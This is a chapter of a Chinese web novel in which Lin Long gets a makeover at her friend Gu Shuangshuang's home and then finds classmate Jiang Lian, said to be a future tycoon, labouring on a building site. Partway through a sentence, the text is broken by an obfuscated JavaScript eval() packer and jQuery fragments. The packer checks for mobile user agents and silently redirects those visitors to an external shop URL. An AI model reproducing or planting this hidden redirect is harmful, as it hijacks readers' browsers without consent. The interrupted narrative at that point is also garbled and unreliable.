爸妈跟单位提了休假,死哥不情不愿地跟在爸妈后面拎行李,他们在集运站乘大巴前往机场。
林珑送完他们,准备去顾霜霜家里蹭饭。
一个人懒得做饭,林珑打算蹭完午饭,下午回家的时候,顺路去小商店扛一箱泡面回去,给自己狠狠实现一次泡面自由。
顾霜霜是独生女,家里条件很好,住蔓城城西那一片的富人区,而且她不仅是家中独女,还是全家族的独女,她的伯伯、姑姑和舅舅们生的清一水男孩儿,家里的长辈们把她看得跟眼珠子似的,宠过了头,也管过头了,迟来的叛逆期,让顾霜霜的成绩在高三时一落千丈。
全家团宠的大小姐,在高三迎来致命的厌学期,家里给班主任送礼,副班长兼学习委员的林珑,被班主任安排成了顾霜霜同桌。
班主任语重心长地对林珑说:深入敌营,好好改造顾霜霜,你自己也多留心,真改造不了也不要被影响,打不过,咱们师徒就撤!
谁知道,林珑哪是打不过就撤,那是打不过就加入!
同桌第一个星期,林珑被顾霜霜拉去平时清痘的美容院,修了眉型,少女茸茸的眉毛,被修成柳叶形状,清新又温婉;同桌第二个星期,林珑换了新发型,据说是顾霜霜在边上,让理发师严格按照《瑞丽》杂志封面的女主角精心剪的,第二天放学,外校的小混混在蔓实门口,居然调戏地朝林珑吹口哨;同桌第三个星期,林珑的指甲涂上了隐形的粉肉色指甲油,粉嘟嘟亮晶晶的,每颗指甲就像透明糖果一样漂亮。
班主任眼皮狠狠跳了跳,糟糕,心腹大患逐渐把心腹画风带坏!
高三第一次模考成绩下来,班主任拿着年级长发下来的成绩单,一边查阅两人成绩,一边心如擂鼓,结果让人大跌眼镜,心腹继续稳坐前十,心腹大患段排名跳涨了五十名!
班主任笑没了眼,谁不说她英明神武?执教生涯,又挽救了一个即将失足的花季少女。
顾家更是把林珑视作他们家的小福星,女儿头疼的叛逆期就这么轻松而解,顾妈更是在亲戚朋友面前,把林珑夸得天上有地下无,经常做一桌子好菜,喊林珑去家里吃饭。饭桌上,珑珑长,珑珑短,一个劲给顾家尊贵的小客人夹菜。
午饭时间还早,顾妈给两个小闺女洗了一碟水果,送到楼上,敲门进来时,被林珑惊艳了一把。
闺女化妆的样子,顾妈看了闹心,但没想到,丫头给林珑化的,还真挺眼前一亮。
水绿色的连身裙,眼皮是淡淡的细闪粉,眉眼弯弯恰到好处,少女的睫毛密而翘,睁眼阖眼似灵动的羽扇,唇釉是淡淡的粉,像一颗饱满多汁的水蜜桃砸爆在樱色双唇上,长发安静而恬淡地披在肩头。
顾妈看了一眼,又不由再看一眼,称赞道:“珑珑,你今天真漂亮!”
顾霜霜得意地欣赏自己的杰作,骄傲道:“我一直都觉得珑珑很漂亮,不止今天才漂亮。”
顾妈白她一眼:“不会说话就少说。”拆她台干什么。
林珑舒了口气,幸好霜霜手下留情,没给她整成舞厅蹦迪风,刚好卸妆液用完了,不然一会儿,她还得顶着一张登台唱戏的油彩脸去买卸妆液。
今天赚到了,在顾家吃到好吃的饭,给顾霜霜免费当模特,还收获了一个很好看的妆。
哪个小女生不爱美呢,林珑今天心情简直好到爆炸。
临走的时候,顾妈妈还往林珑手里塞了个便当盒,里面是顾妈的拿手本领,爱心炸鸡排,校门口流动摊点上的炸鸡排,都没霜霜妈做的来得正宗。霜霜妈炸鸡排,会用梅子粉先腌制一会儿鸡胸肉,炸鸡排就会有非常独特的回甘。
顾家所在的小区很大,有叠墅、有联排,有独栋,小区两年前开盘,陆陆续续卖出去一部分,还有小半的工地在盖新别墅。
长下坡路的路口,有一片空地正在修盖别墅,工地没有围挡,风向不对,林珑一路走,一路嘴里吃灰。
路过工地的时候,林珑探头瞄了一眼工地,大中午的,这工头是真会压榨人,都不让工人休息,机器哐当哐当凿地基,也不怕边上邻居投诉啊?
太阳暴晒着大地,工地里七八个工人,赤着膀子,皮肤晒得乌黑发冒油,干活的时候脾气十分暴躁。
林珑突然看见一个身影,吓了一跳。
不确定,揉揉眼,再看。
大腿?
不,江敛!
尘土飞扬的工地,江敛戴着安全帽,上半身是一件被汗水湿透的T恤,两袖被卷到肩上,下身的牛仔裤破了好几个洞眼,手里正搬着一摞红砖,手臂青筋跳动。
林珑的眼珠子已经快砸到地上。
眼前这个怎么看,都是一个工地苦命搬砖的小哥,竟是大侄女口中的蔓城未来首富,壕无人性的江敛?
林珑沉默了……深深怀疑大侄女会不会情报有误。
脑中突然蹦出来,从大侄女那儿新学到的一个二十一世纪词汇。
大侄女是这么形容二十年后家徒四壁的——叙利亚战损风。
林珑看看工地上的江敛,默了默。
天下霸总千千万。
所以,江敛这是……叙利亚战损风款的霸总?
江敛没第一眼认出眼前的人,就像林珑没第一眼认出他一样。
一个夏日里糯糯带点冰甜的声音在耳畔响起:“江同学?”
江敛不经意多瞟了两眼林珑,似乎有点困惑她今天为什么和平时长得不一样。
同窗三载,江敛独来独往,对班上的女生一视同仁,一视同仁的淡,顶多记住她们的名字,再深入一点的印象基本没有了。
像林珑这样平时成绩在段里比较好的女生,印象可能稍微比较深一点,因为无论是老师或者校领导,总会嘴里三五不时输出优秀学生的名字,江敛对她最大的印象,可能就是逢考必大吃。
平时在校门口,基本上碰不到她在那排小摊上买零食,可每逢其中期末或者全市模拟考之类的,江敛总能一出校门,就看见一个纤细的身影热烈穿梭游荡在各种烟气腾腾的小摊前,真不是江敛刻意留意,而是他真的很少见一个瘦子有那么惊人的食量,炸鸡柳、淀粉肠、卤煮串串、炸土豆、梅花小蛋糕,江敛在路边等公交,挤满放学学生的沙丁鱼罐头车厢,他总是躲避人潮最后才上车。
车门即将关闭的前一刻,提溜着一堆零食小吃的少女跳上公交,笑容十分心满意足。
车厢那么挤,她却从容轻松。
车停了,小爪飞速从零食袋里衔起一块塞进嘴里;起步了,又火速摇摇晃晃地抓紧栏杆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407122|200574||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
;车子稳了,便开始唇角微扬享受嘴里的美食,如此往复,一边小确幸,一边跟司机的飞车技术缠斗,江敛眼睁睁地看着她一袋一袋消灭手上的零食小吃袋子。
角落里的他,有时候会想,怎么会有人吃点小零食,都那么满足那么高兴呢?
从上车起,笑容在她的脸上就没褪色过,那笑仿佛在骄傲地向全世界宣告:她是全世界最幸福的人。
少女的笑容像阳光漫进他的世界,令他这个不幸的人,似乎也感受到了一丝幸福的味道。
一半明媚,一半灰色。
他缩在车厢角落,慢慢享受这种明媚渐渐吞噬灰色的过程。
可少女在目的地下了车,便瞬间收走所有阳光,公交车厢里恢复灰色世界,载着他继续朝冰冷的家颠簸前行。
修长、清瘦、爱笑,但很能吃的林同学。
这是江敛对林珑最深的印象。
眼梢顺着她的手臂寻下去,她的手上似乎提着一个装着食物的饭盒,吃不离手,彻底坐实了她是一个吃货的形象。
可今天的她,似乎和平时很不一样,长发披肩,薄薄的眼皮上缀着闪闪的亮片,羽睫纤长,乌黑的瞳仁比平时要更黑更亮,更添了几分道不清说不明的楚楚可怜,水绿色的连身裙衬得她腰身很细,好比夏日池塘里一株亭亭玉立又摇曳生姿的碧荷。
“好巧,江同学,居然在这碰上了你。”如果不是为了硬蹭大腿,林珑发誓,打死她她都不会绕进工地主动来打招呼,人家和她根本不熟好不好。
“你住在附近?”这里是封闭式小区,江敛很自然以为她是因为住在附近才会出现在这里。
林珑坦言道:“住不起这里的,我们全家从清朝开始打工可能还有点希望住上这个小区的房子,我是来霜霜家蹭饭的,她家在这个小区。”
怕他贵人多忘事,特地和他解释了一下,“顾霜霜,和我们一个班的,她是我的同桌。”
“我知道。”
“哦。”
原来他并不像表面那么漠不关心班上的人和事,连顾霜霜是她同桌他都记得,这说明江敛并不是一块彻头彻尾的冰疙瘩,这让林珑觉得抱上大腿又多了一份希望。
一辆翻斗车从岔路口开进工地,工人粗着嗓子指挥着司机卸砂石,工地的气氛一下紧张忙碌起来,江敛上下扫了她一番,提醒道:“这里马上要卸砂石翻拌水泥了,灰很大,你要不要早点离开这里?”
一颗漂亮甜蜜的糖果如果掉在灰扑扑的地面,会显得灰尘是那么罪不可恕。
林珑不太明白他为什么会出现在这里,看向他的眼神充满疑惑。
含着金汤匙出生的豪门少爷,怎么会如此狼狈地出现在建筑工地上?就算不是豪门少爷,普通寻常百姓家庭的孩子,刚高考完,也应该迎来人生最惬意舒适的一个暑假,怎么会没苦硬吃到工地上来干活?
或许是看出林珑脸上的疑惑,江敛主动解释道:“我在这里上班。”
“上班?!”
“攒大学学费和生活费。”
林珑惊愕不已,整个人呆掉。
怎么会?
未来蔓城首富,十八岁的时候,苦逼地在工地上搬砖?
命看起来,居然比路边的流浪狗还苦……